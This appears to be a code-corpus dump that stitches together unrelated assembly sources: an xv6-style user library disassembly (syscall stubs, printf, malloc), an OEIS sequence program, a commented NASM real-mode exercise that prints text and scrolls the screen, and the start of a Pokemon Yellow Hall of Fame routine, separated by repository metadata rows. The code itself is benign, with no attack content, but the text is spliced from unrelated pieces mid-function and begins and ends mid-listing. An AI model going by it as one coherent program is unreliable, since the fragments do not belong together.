18b: 8d 49 01 lea 0x1(%ecx),%ecx
while(n-- > 0)
18e: 89 f2 mov %esi,%edx
190: 8d 72 ff lea -0x1(%edx),%esi
193: 85 d2 test %edx,%edx
195: 7f ec jg 183 <memmove+0x12>
return vdst;
}
197: 5b pop %ebx
198: 5e pop %esi
199: 5d pop %ebp
19a: c3 ret
0000019b <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
19b: b8 01 00 00 00 mov $0x1,%eax
1a0: cd 40 int $0x40
1a2: c3 ret
000001a3 <exit>:
SYSCALL(exit)
1a3: b8 02 00 00 00 mov $0x2,%eax
1a8: cd 40 int $0x40
1aa: c3 ret
000001ab <wait>:
SYSCALL(wait)
1ab: b8 03 00 00 00 mov $0x3,%eax
1b0: cd 40 int $0x40
1b2: c3 ret
000001b3 <pipe>:
SYSCALL(pipe)
1b3: b8 04 00 00 00 mov $0x4,%eax
1b8: cd 40 int $0x40
1ba: c3 ret
000001bb <read>:
SYSCALL(read)
1bb: b8 05 00 00 00 mov $0x5,%eax
1c0: cd 40 int $0x40
1c2: c3 ret
000001c3 <write>:
SYSCALL(write)
1c3: b8 10 00 00 00 mov $0x10,%eax
1c8: cd 40 int $0x40
1ca: c3 ret
000001cb <close>:
SYSCALL(close)
1cb: b8 15 00 00 00 mov $0x15,%eax
1d0: cd 40 int $0x40
1d2: c3 ret
000001d3 <kill>:
SYSCALL(kill)
1d3: b8 06 00 00 00 mov $0x6,%eax
1d8: cd 40 int $0x40
1da: c3 ret
000001db <exec>:
SYSCALL(exec)
1db: b8 07 00 00 00 mov $0x7,%eax
1e0: cd 40 int $0x40
1e2: c3 ret
000001e3 <open>:
SYSCALL(open)
1e3: b8 0f 00 00 00 mov $0xf,%eax
1e8: cd 40 int $0x40
1ea: c3 ret
000001eb <mknod>:
SYSCALL(mknod)
1eb: b8 11 00 00 00 mov $0x11,%eax
1f0: cd 40 int $0x40
1f2: c3 ret
000001f3 <unlink>:
SYSCALL(unlink)
1f3: b8 12 00 00 00 mov $0x12,%eax
1f8: cd 40 int $0x40
1fa: c3 ret
000001fb <fstat>:
SYSCALL(fstat)
1fb: b8 08 00 00 00 mov $0x8,%eax
200: cd 40 int $0x40
202: c3 ret
00000203 <link>:
SYSCALL(link)
203: b8 13 00 00 00 mov $0x13,%eax
208: cd 40 int $0x40
20a: c3 ret
0000020b <mkdir>:
SYSCALL(mkdir)
20b: b8 14 00 00 00 mov $0x14,%eax
210: cd 40 int $0x40
212: c3 ret
00000213 <chdir>:
SYSCALL(chdir)
213: b8 09 00 00 00 mov $0x9,%eax
218: cd 40 int $0x40
21a: c3 ret
0000021b <dup>:
SYSCALL(dup)
21b: b8 0a 00 00 00 mov $0xa,%eax
220: cd 40 int $0x40
222: c3 ret
00000223 <getpid>:
SYSCALL(getpid)
223: b8 0b 00 00 00 mov $0xb,%eax
228: cd 40 int $0x40
22a: c3 ret
0000022b <sbrk>:
SYSCALL(sbrk)
22b: b8 0c 00 00 00 mov $0xc,%eax
230: cd 40 int $0x40
232: c3 ret
00000233 <sleep>:
SYSCALL(sleep)
233: b8 0d 00 00 00 mov $0xd,%eax
238: cd 40 int $0x40
23a: c3 ret
0000023b <uptime>:
SYSCALL(uptime)
23b: b8 0e 00 00 00 mov $0xe,%eax
240: cd 40 int $0x40
242: c3 ret
00000243 <setpri>:
SYSCALL(setpri)
243: b8 16 00 00 00 mov $0x16,%eax
248: cd 40 int $0x40
24a: c3 ret
0000024b <getpri>:
SYSCALL(getpri)
24b: b8 17 00 00 00 mov $0x17,%eax
250: cd 40 int $0x40
252: c3 ret
00000253 <fork2>:
SYSCALL(fork2)
253: b8 18 00 00 00 mov $0x18,%eax
258: cd 40 int $0x40
25a: c3 ret
0000025b <getpinfo>:
SYSCALL(getpinfo)
25b: b8 19 00 00 00 mov $0x19,%eax
260: cd 40 int $0x40
262: c3 ret
00000263 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
263: 55 push %ebp
264: 89 e5 mov %esp,%ebp
266: 83 ec 1c sub $0x1c,%esp
269: 88 55 f4 mov %dl,-0xc(%ebp)
write(fd, &c, 1);
26c: 6a 01 push $0x1
26e: 8d 55 f4 lea -0xc(%ebp),%edx
271: 52 push %edx
272: 50 push %eax
273: e8 4b ff ff ff call 1c3 <write>
}
278: 83 c4 10 add $0x10,%esp
27b: c9 leave
27c: c3 ret
0000027d <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
27d: 55 push %ebp
27e: 89 e5 mov %esp,%ebp
280: 57 push %edi
281: 56 push %esi
282: 53 push %ebx
283: 83 ec 2c sub $0x2c,%esp
286: 89 c7 mov %eax,%edi
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
288: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
28c: 0f 95 c3 setne %bl
28f: 89 d0 mov %edx,%eax
291: c1 e8 1f shr $0x1f,%eax
294: 84 c3 test %al,%bl
296: 74 10 je 2a8 <printint+0x2b>
neg = 1;
x = -xx;
298: f7 da neg %edx
neg = 1;
29a: c7 45 d4 01 00 00 00 movl $0x1,-0x2c(%ebp)
} else {
x = xx;
}
i = 0;
2a1: be 00 00 00 00 mov $0x0,%esi
2a6: eb 0b jmp 2b3 <printint+0x36>
neg = 0;
2a8: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
2af: eb f0 jmp 2a1 <printint+0x24>
do{
buf[i++] = digits[x % base];
2b1: 89 c6 mov %eax,%esi
2b3: 89 d0 mov %edx,%eax
2b5: ba 00 00 00 00 mov $0x0,%edx
2ba: f7 f1 div %ecx
2bc: 89 c3 mov %eax,%ebx
2be: 8d 46 01 lea 0x1(%esi),%eax
2c1: 0f b6 92 c0 05 00 00 movzbl 0x5c0(%edx),%edx
2c8: 88 54 35 d8 mov %dl,-0x28(%ebp,%esi,1)
}while((x /= base) != 0);
2cc: 89 da mov %ebx,%edx
2ce: 85 db test %ebx,%ebx
2d0: 75 df jne 2b1 <printint+0x34>
2d2: 89 c3 mov %eax,%ebx
if(neg)
2d4: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
2d8: 74 16 je 2f0 <printint+0x73>
buf[i++] = '-';
2da: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
2df: 8d 5e 02 lea 0x2(%esi),%ebx
2e2: eb 0c jmp 2f0 <printint+0x73>
while(--i >= 0)
putc(fd, buf[i]);
2e4: 0f be 54 1d d8 movsbl -0x28(%ebp,%ebx,1),%edx
2e9: 89 f8 mov %edi,%eax
2eb: e8 73 ff ff ff call 263 <putc>
while(--i >= 0)
2f0: 83 eb 01 sub $0x1,%ebx
2f3: 79 ef jns 2e4 <printint+0x67>
}
2f5: 83 c4 2c add $0x2c,%esp
2f8: 5b pop %ebx
2f9: 5e pop %esi
2fa: 5f pop %edi
2fb: 5d pop %ebp
2fc: c3 ret
000002fd <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
2fd: 55 push %ebp
2fe: 89 e5 mov %esp,%ebp
300: 57 push %edi
301: 56 push %esi
302: 53 push %ebx
303: 83 ec 1c sub $0x1c,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
306: 8d 45 10 lea 0x10(%ebp),%eax
309: 89 45 e4 mov %eax,-0x1c(%ebp)
state = 0;
30c: be 00 00 00 00 mov $0x0,%esi
for(i = 0; fmt[i]; i++){
311: bb 00 00 00 00 mov $0x0,%ebx
316: eb 14 jmp 32c <printf+0x2f>
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
} else {
putc(fd, c);
318: 89 fa mov %edi,%edx
31a: 8b 45 08 mov 0x8(%ebp),%eax
31d: e8 41 ff ff ff call 263 <putc>
322: eb 05 jmp 329 <printf+0x2c>
}
} else if(state == '%'){
324: 83 fe 25 cmp $0x25,%esi
327: 74 25 je 34e <printf+0x51>
for(i = 0; fmt[i]; i++){
329: 83 c3 01 add $0x1,%ebx
32c: 8b 45 0c mov 0xc(%ebp),%eax
32f: 0f b6 04 18 movzbl (%eax,%ebx,1),%eax
333: 84 c0 test %al,%al
335: 0f 84 23 01 00 00 je 45e <printf+0x161>
c = fmt[i] & 0xff;
33b: 0f be f8 movsbl %al,%edi
33e: 0f b6 c0 movzbl %al,%eax
if(state == 0){
341: 85 f6 test %esi,%esi
343: 75 df jne 324 <printf+0x27>
if(c == '%'){
345: 83 f8 25 cmp $0x25,%eax
348: 75 ce jne 318 <printf+0x1b>
state = '%';
34a: 89 c6 mov %eax,%esi
34c: eb db jmp 329 <printf+0x2c>
if(c == 'd'){
34e: 83 f8 64 cmp $0x64,%eax
351: 74 49 je 39c <printf+0x9f>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
353: 83 f8 78 cmp $0x78,%eax
356: 0f 94 c1 sete %cl
359: 83 f8 70 cmp $0x70,%eax
35c: 0f 94 c2 sete %dl
35f: 08 d1 or %dl,%cl
361: 75 63 jne 3c6 <printf+0xc9>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
363: 83 f8 73 cmp $0x73,%eax
366: 0f 84 84 00 00 00 je 3f0 <printf+0xf3>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
36c: 83 f8 63 cmp $0x63,%eax
36f: 0f 84 b7 00 00 00 je 42c <printf+0x12f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
375: 83 f8 25 cmp $0x25,%eax
378: 0f 84 cc 00 00 00 je 44a <printf+0x14d>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
37e: ba 25 00 00 00 mov $0x25,%edx
383: 8b 45 08 mov 0x8(%ebp),%eax
386: e8 d8 fe ff ff call 263 <putc>
putc(fd, c);
38b: 89 fa mov %edi,%edx
38d: 8b 45 08 mov 0x8(%ebp),%eax
390: e8 ce fe ff ff call 263 <putc>
}
state = 0;
395: be 00 00 00 00 mov $0x0,%esi
39a: eb 8d jmp 329 <printf+0x2c>
printint(fd, *ap, 10, 1);
39c: 8b 7d e4 mov -0x1c(%ebp),%edi
39f: 8b 17 mov (%edi),%edx
3a1: 83 ec 0c sub $0xc,%esp
3a4: 6a 01 push $0x1
3a6: b9 0a 00 00 00 mov $0xa,%ecx
3ab: 8b 45 08 mov 0x8(%ebp),%eax
3ae: e8 ca fe ff ff call 27d <printint>
ap++;
3b3: 83 c7 04 add $0x4,%edi
3b6: 89 7d e4 mov %edi,-0x1c(%ebp)
3b9: 83 c4 10 add $0x10,%esp
state = 0;
3bc: be 00 00 00 00 mov $0x0,%esi
3c1: e9 63 ff ff ff jmp 329 <printf+0x2c>
printint(fd, *ap, 16, 0);
3c6: 8b 7d e4 mov -0x1c(%ebp),%edi
3c9: 8b 17 mov (%edi),%edx
3cb: 83 ec 0c sub $0xc,%esp
3ce: 6a 00 push $0x0
3d0: b9 10 00 00 00 mov $0x10,%ecx
3d5: 8b 45 08 mov 0x8(%ebp),%eax
3d8: e8 a0 fe ff ff call 27d <printint>
ap++;
3dd: 83 c7 04 add $0x4,%edi
3e0: 89 7d e4 mov %edi,-0x1c(%ebp)
3e3: 83 c4 10 add $0x10,%esp
state = 0;
3e6: be 00 00 00 00 mov $0x0,%esi
3eb: e9 39 ff ff ff jmp 329 <printf+0x2c>
s = (char*)*ap;
3f0: 8b 45 e4 mov -0x1c(%ebp),%eax
3f3: 8b 30 mov (%eax),%esi
ap++;
3f5: 83 c0 04 add $0x4,%eax
3f8: 89 45 e4 mov %eax,-0x1c(%ebp)
if(s == 0)
3fb: 85 f6 test %esi,%esi
3fd: 75 28 jne 427 <printf+0x12a>
s = "(null)";
3ff: be b8 05 00 00 mov $0x5b8,%esi
404: 8b 7d 08 mov 0x8(%ebp),%edi
407: eb 0d jmp 416 <printf+0x119>
putc(fd, *s);
409: 0f be d2 movsbl %dl,%edx
40c: 89 f8 mov %edi,%eax
40e: e8 50 fe ff ff call 263 <putc>
s++;
413: 83 c6 01 add $0x1,%esi
while(*s != 0){
416: 0f b6 16 movzbl (%esi),%edx
419: 84 d2 test %dl,%dl
41b: 75 ec jne 409 <printf+0x10c>
state = 0;
41d: be 00 00 00 00 mov $0x0,%esi
422: e9 02 ff ff ff jmp 329 <printf+0x2c>
427: 8b 7d 08 mov 0x8(%ebp),%edi
42a: eb ea jmp 416 <printf+0x119>
putc(fd, *ap);
42c: 8b 7d e4 mov -0x1c(%ebp),%edi
42f: 0f be 17 movsbl (%edi),%edx
432: 8b 45 08 mov 0x8(%ebp),%eax
435: e8 29 fe ff ff call 263 <putc>
ap++;
43a: 83 c7 04 add $0x4,%edi
43d: 89 7d e4 mov %edi,-0x1c(%ebp)
state = 0;
440: be 00 00 00 00 mov $0x0,%esi
445: e9 df fe ff ff jmp 329 <printf+0x2c>
putc(fd, c);
44a: 89 fa mov %edi,%edx
44c: 8b 45 08 mov 0x8(%ebp),%eax
44f: e8 0f fe ff ff call 263 <putc>
state = 0;
454: be 00 00 00 00 mov $0x0,%esi
459: e9 cb fe ff ff jmp 329 <printf+0x2c>
}
}
}
45e: 8d 65 f4 lea -0xc(%ebp),%esp
461: 5b pop %ebx
462: 5e pop %esi
463: 5f pop %edi
464: 5d pop %ebp
465: c3 ret
00000466 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
466: 55 push %ebp
467: 89 e5 mov %esp,%ebp
469: 57 push %edi
46a: 56 push %esi
46b: 53 push %ebx
46c: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
46f: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
472: a1 58 08 00 00 mov 0x858,%eax
477: eb 02 jmp 47b <free+0x15>
479: 89 d0 mov %edx,%eax
47b: 39 c8 cmp %ecx,%eax
47d: 73 04 jae 483 <free+0x1d>
47f: 39 08 cmp %ecx,(%eax)
481: 77 12 ja 495 <free+0x2f>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
483: 8b 10 mov (%eax),%edx
485: 39 c2 cmp %eax,%edx
487: 77 f0 ja 479 <free+0x13>
489: 39 c8 cmp %ecx,%eax
48b: 72 08 jb 495 <free+0x2f>
48d: 39 ca cmp %ecx,%edx
48f: 77 04 ja 495 <free+0x2f>
491: 89 d0 mov %edx,%eax
493: eb e6 jmp 47b <free+0x15>
break;
if(bp + bp->s.size == p->s.ptr){
495: 8b 73 fc mov -0x4(%ebx),%esi
498: 8d 3c f1 lea (%ecx,%esi,8),%edi
49b: 8b 10 mov (%eax),%edx
49d: 39 d7 cmp %edx,%edi
49f: 74 19 je 4ba <free+0x54>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
4a1: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
4a4: 8b 50 04 mov 0x4(%eax),%edx
4a7: 8d 34 d0 lea (%eax,%edx,8),%esi
4aa: 39 ce cmp %ecx,%esi
4ac: 74 1b je 4c9 <free+0x63>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
4ae: 89 08 mov %ecx,(%eax)
freep = p;
4b0: a3 58 08 00 00 mov %eax,0x858
}
4b5: 5b pop %ebx
4b6: 5e pop %esi
4b7: 5f pop %edi
4b8: 5d pop %ebp
4b9: c3 ret
bp->s.size += p->s.ptr->s.size;
4ba: 03 72 04 add 0x4(%edx),%esi
4bd: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
4c0: 8b 10 mov (%eax),%edx
4c2: 8b 12 mov (%edx),%edx
4c4: 89 53 f8 mov %edx,-0x8(%ebx)
4c7: eb db jmp 4a4 <free+0x3e>
p->s.size += bp->s.size;
4c9: 03 53 fc add -0x4(%ebx),%edx
4cc: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
4cf: 8b 53 f8 mov -0x8(%ebx),%edx
4d2: 89 10 mov %edx,(%eax)
4d4: eb da jmp 4b0 <free+0x4a>
000004d6 <morecore>:
static Header*
morecore(uint nu)
{
4d6: 55 push %ebp
4d7: 89 e5 mov %esp,%ebp
4d9: 53 push %ebx
4da: 83 ec 04 sub $0x4,%esp
4dd: 89 c3 mov %eax,%ebx
char *p;
Header *hp;
if(nu < 4096)
4df: 3d ff 0f 00 00 cmp $0xfff,%eax
4e4: 77 05 ja 4eb <morecore+0x15>
nu = 4096;
4e6: bb 00 10 00 00 mov $0x1000,%ebx
p = sbrk(nu * sizeof(Header));
4eb: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax
4f2: 83 ec 0c sub $0xc,%esp
4f5: 50 push %eax
4f6: e8 30 fd ff ff call 22b <sbrk>
if(p == (char*)-1)
4fb: 83 c4 10 add $0x10,%esp
4fe: 83 f8 ff cmp $0xffffffff,%eax
501: 74 1c je 51f <morecore+0x49>
return 0;
hp = (Header*)p;
hp->s.size = nu;
503: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
506: 83 c0 08 add $0x8,%eax
509: 83 ec 0c sub $0xc,%esp
50c: 50 push %eax
50d: e8 54 ff ff ff call 466 <free>
return freep;
512: a1 58 08 00 00 mov 0x858,%eax
517: 83 c4 10 add $0x10,%esp
}
51a: 8b 5d fc mov -0x4(%ebp),%ebx
51d: c9 leave
51e: c3 ret
return 0;
51f: b8 00 00 00 00 mov $0x0,%eax
524: eb f4 jmp 51a <morecore+0x44>
00000526 <malloc>:
void*
malloc(uint nbytes)
{
526: 55 push %ebp
527: 89 e5 mov %esp,%ebp
529: 53 push %ebx
52a: 83 ec 04 sub $0x4,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
52d: 8b 45 08 mov 0x8(%ebp),%eax
530: 8d 58 07 lea 0x7(%eax),%ebx
533: c1 eb 03 shr $0x3,%ebx
536: 83 c3 01 add $0x1,%ebx
if((prevp = freep) == 0){
539: 8b 0d 58 08 00 00 mov 0x858,%ecx
53f: 85 c9 test %ecx,%ecx
541: 74 04 je 547 <malloc+0x21>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
543: 8b 01 mov (%ecx),%eax
545: eb 4d jmp 594 <malloc+0x6e>
base.s.ptr = freep = prevp = &base;
547: c7 05 58 08 00 00 5c movl $0x85c,0x858
54e: 08 00 00
551: c7 05 5c 08 00 00 5c movl $0x85c,0x85c
558: 08 00 00
base.s.size = 0;
55b: c7 05 60 08 00 00 00 movl $0x0,0x860
562: 00 00 00
base.s.ptr = freep = prevp = &base;
565: b9 5c 08 00 00 mov $0x85c,%ecx
56a: eb d7 jmp 543 <malloc+0x1d>
if(p->s.size >= nunits){
if(p->s.size == nunits)
56c: 39 da cmp %ebx,%edx
56e: 74 1a je 58a <malloc+0x64>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
570: 29 da sub %ebx,%edx
572: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
575: 8d 04 d0 lea (%eax,%edx,8),%eax
p->s.size = nunits;
578: 89 58 04 mov %ebx,0x4(%eax)
}
freep = prevp;
57b: 89 0d 58 08 00 00 mov %ecx,0x858
return (void*)(p + 1);
581: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
584: 83 c4 04 add $0x4,%esp
587: 5b pop %ebx
588: 5d pop %ebp
589: c3 ret
prevp->s.ptr = p->s.ptr;
58a: 8b 10 mov (%eax),%edx
58c: 89 11 mov %edx,(%ecx)
58e: eb eb jmp 57b <malloc+0x55>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
590: 89 c1 mov %eax,%ecx
592: 8b 00 mov (%eax),%eax
if(p->s.size >= nunits){
594: 8b 50 04 mov 0x4(%eax),%edx
597: 39 da cmp %ebx,%edx
599: 73 d1 jae 56c <malloc+0x46>
if(p == freep)
59b: 39 05 58 08 00 00 cmp %eax,0x858
5a1: 75 ed jne 590 <malloc+0x6a>
if((p = morecore(nunits)) == 0)
5a3: 89 d8 mov %ebx,%eax
5a5: e8 2c ff ff ff call 4d6 <morecore>
5aa: 85 c0 test %eax,%eax
5ac: 75 e2 jne 590 <malloc+0x6a>
return 0;
5ae: b8 00 00 00 00 mov $0x0,%eax
5b3: eb cf jmp 584 <malloc+0x5e>
| 32.167508 | 60 | 0.411632 |
97d73f3033afb6c656391ed596f85a6477531cce | 384 | asm | Assembly | programs/oeis/054/A054608.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/054/A054608.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/054/A054608.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A054608: a(n) = Sum_{d|9} phi(d)*n^(9/d).
; 0,9,540,19755,262296,1953405,10078164,40354335,134218800,387422001,1000002060,2357950419,5159783880,10604503845,20661052356,38443366215,68719485024,118587886425,198359302140,322687711611,512000016120
mov $1,$0
pow $1,8
add $1,6
mov $2,$0
mov $3,$0
mov $0,$1
mul $0,$2
mov $1,$0
mov $4,$3
mul $4,$3
mul $4,$3
mov $5,$4
mul $5,2
add $1,$5
| 21.333333 | 201 | 0.705729 |
095f6c5d670f10bf75e888698563115f9539090b | 8,983 | asm | Assembly | ch08/ch08-ex01.asm | Sunrisepeak/x86-Assembly-Real-To-Protected_Mode | a8b05205ac36e471df57ac4ac9e6416c2c865348 | [
"MIT"
] | 1 | 2021-02-24T12:30:29.000Z | 2021-02-24T12:30:29.000Z | ch08/ch08-ex01.asm | Sunrisepeak/x86-Assembly-Real-To-Protected_Mode | a8b05205ac36e471df57ac4ac9e6416c2c865348 | [
"MIT"
] | null | null | null | ch08/ch08-ex01.asm | Sunrisepeak/x86-Assembly-Real-To-Protected_Mode | a8b05205ac36e471df57ac4ac9e6416c2c865348 | [
"MIT"
] | null | null | null | ;代码清单8-2
;文件名:c08.asm
;文件说明:用户程序
;创建日期:2011-5-5 18:17
;===============================================================================
SECTION header vstart=0 ;定义用户程序头部段
program_length dd program_end ;程序总长度[0x00]
;用户程序入口点
code_entry dw start ;偏移地址[0x04]
dd section.code_1.start ;段地址[0x06]
realloc_tbl_len dw (header_end-code_1_segment)/4
;段重定位表项个数[0x0a]
;段重定位表
code_1_segment dd section.code_1.start ;[0x0c]
code_2_segment dd section.code_2.start ;[0x10]
data_1_segment dd section.data_1.start ;[0x14]
data_2_segment dd section.data_2.start ;[0x18]
data_3_segment dd section.data_3.start ;[0x1c] ; add a data_seg to test screen_roll
stack_segment dd section.stack.start ;[0x20]
header_end:
;===============================================================================
SECTION code_1 align=16 vstart=0 ;定义代码段1(16字节对齐)
put_string: ;显示串(0结尾)。
;输入:DS:BX=串地址
;put_string(address DS:BX, color al)
mov cl,[bx]
or cl,cl ;cl=0 ?
jz .exit ;是的,返回主程序
call put_char
call delay_func ; add a litte delay when print a char
inc bx ;下一个字符
jmp put_string
.exit:
ret
;-------------------------------------------------------------------------------
put_char: ;显示一个字符
;输入:cl=字符ascii
;put_char(char cl, color al)
push ax
push bx
push cx
push dx
push ds
push es
push si
mov si, ax ;save color attribute to si
;以下取当前光标位置
mov dx,0x3d4
mov al,0x0e
out dx,al
mov dx,0x3d5
in al,dx ;高8位
mov ah,al
mov dx,0x3d4
mov al,0x0f
out dx,al
mov dx,0x3d5
in al,dx ;低8位
mov bx,ax ;BX=代表光标位置的16位数
cmp cl,0x0d ;回车符?
jnz .put_0a ;不是。看看是不是换行等字符
mov ax,bx ;此句略显多余,但去掉后还得改书,麻烦
mov bl,80
div bl
mul bl
mov bx,ax
jmp .set_cursor
.put_0a:
cmp cl,0x0a ;换行符?
jnz .put_other ;不是,那就正常显示字符
add bx,80
jmp .roll_screen
.put_other: ;正常显示字符
mov ax,0xb800
mov es,ax
shl bx,1
mov [es:bx],cl
mov ax, si ; color_attribute to ax
mov [es:bx + 1],al ; set color_attribute of char
;以下将光标位置推进一个字符
shr bx,1
add bx,1
.roll_screen:
cmp bx,2000 ;光标超出屏幕?滚屏
jl .set_cursor
mov ax,0xb800
mov ds,ax
mov es,ax
cld
mov si,0xa0
mov di,0x00
mov cx,1920
rep movsw
mov bx,3840 ;清除屏幕最底一行
mov cx,80
.cls:
mov word[es:bx],0x0720
add bx,2
loop .cls
mov bx,1920
.set_cursor:
mov dx,0x3d4
mov al,0x0e
out dx,al
mov dx,0x3d5
mov al,bh
out dx,al
mov dx,0x3d4
mov al,0x0f
out dx,al
mov dx,0x3d5
mov al,bl
out dx,al
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
ret
;-------------------------------------------------------------------------------
start:
;初始执行时,DS和ES指向用户程序头部段
mov ax,[stack_segment] ;设置到用户程序自己的堆栈
mov ss,ax
mov sp,stack_end
mov ax,[data_1_segment] ;设置到用户程序自己的数据段
mov ds,ax
mov bx,msg0
mov al, 00000101b
call put_string ;显示第一段信息
;push word [es:code_2_segment]
;mov ax,begin
;push ax ;可以直接push begin,80386+
;retf ;转移到代码段2执行
;******************************Ex08-1*****************************************
mov ax, [es:code_2_segment] ; modify segment_redirect_table
mov [es:code_2_segment + 2], ax
mov word [es:code_2_segment], begin
mov ax, es
mov ds, ax ; modify data_seg reg
jmp far [code_2_segment] ; Note: jmp far using data_seg make seg_address
print_info:
mov cx, 4
@test:
mov ax, [es:data_3_segment]
mov ds, ax
mov bx, msg2 ; address
mov al, 00000010b ; set background_color: black, char: aqua
push cx
call put_string ; put_string cann't call in code_2_seg
pop cx
loop @test
jmp near continue
delay_func:
push cx
mov cx, 400
@delay: ; delay1
push cx
mov cx, 40000
loop $ ; delay2
pop cx
loop @delay
pop cx
ret
;*****************************************************************************
continue:
mov ax,[es:data_2_segment] ;段寄存器DS切换到数据段2
mov ds,ax
mov bx,msg1
mov al, 0x07
call put_string ;显示第二段信息
jmp $
;===============================================================================
SECTION code_2 align=16 vstart=0 ;定义代码段2(16字节对齐)
;
; begin:
; mov cx, 10
;
; test: ; Test screen_roll
; mov ax, [es:data_3_segment]
; mov ds, ax
;
; mov bx, msg2 ; address
; mov al, 01110100b ; set background_color: white, char: red
;
; call put_string ; put_string cann't call in code_2_seg
; ; spend 1h ---debug
;
; loop test
begin:
push word [es:code_1_segment]
mov ax,print_info
push ax ;可以直接push continue,80386+
retf ;转移到代码段1接着执行
;===============================================================================
SECTION data_1 align=16 vstart=0
msg0 db ' This is NASM - the famous Netwide Assembler. '
db 'Back at SourceForge and in intensive development! '
db 'Get the current versions from http://www.nasm.us/.'
db 0x0d,0x0a,0x0d,0x0a
db ' Example code for calculate 1+2+...+1000:',0x0d,0x0a,0x0d,0x0a
db ' xor dx,dx',0x0d,0x0a
db ' xor ax,ax',0x0d,0x0a
db ' xor cx,cx',0x0d,0x0a
db ' @@:',0x0d,0x0a
db ' inc cx',0x0d,0x0a
db ' add ax,cx',0x0d,0x0a
db ' adc dx,0',0x0d,0x0a
db ' inc cx',0x0d,0x0a
db ' cmp cx,1000',0x0d,0x0a
db ' jle @@',0x0d,0x0a
db ' ... ...(Some other codes)',0x0d,0x0a,0x0d,0x0a
db 0
;===============================================================================
SECTION data_2 align=16 vstart=0
msg1 db ' The above contents is written by LeeChung. '
db ' 2011-05-06', 0x0d, 0x0a
db ' The above contents is modified by SPeakShen. '
db ' 2020-02-29, 10:37PM'
db 0
;*************************Test-DataSegment**************************************
SECTION data_3 align=16 vstart=0
msg2 db ' This is a test for roll_screen. ', 0x0d, 0x0a
db ' by SPeakShen', 0x0d, 0x0a
db ' 2020-02-29 ', 0x0d, 0x0a
db 0
;*******************************************************************************
SECTION stack align=16 vstart=0
resb 256
stack_end:
;===============================================================================
SECTION trail align=16
program_end:
| 30.975862 | 97 | 0.376155 |
4a8111162f8277b021e62af0999c3c6a67147309 | 5,085 | asm | Assembly | engine/HoF_room_pc.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | engine/HoF_room_pc.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 5 | 2019-04-03T19:53:11.000Z | 2022-03-11T22:49:34.000Z | engine/HoF_room_pc.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | HallOfFamePC:
callab FallingStarEnd
call ClearScreen
ld c, 100
call DelayFrames
call DisableLCD
ld a, $a7
ld [rWX], a
xor a
ld [rSCX], a
ld [rSCY], a
ld [hSCX], a
ld [hSCY], a
ld [hWY], a
ld [rWY], a
call CreditsLoadFont
coord hl, 0, 0
call FillFourRowsWithBlack
coord hl, 0, 14
call FillFourRowsWithBlack
ld a, %11000000
ld [rBGP], a
call UpdateGBCPal_BGP
call EnableLCD
call StopAllMusic
ld hl, vBGMap1
call CreditsCopyTileMapToVRAM
ld hl, vBGMap0
call CreditsCopyTileMapToVRAM
ld c, BANK(Music_Credits)
ld a, MUSIC_CREDITS
call PlayMusic
ld c, 128
call DelayFrames
xor a
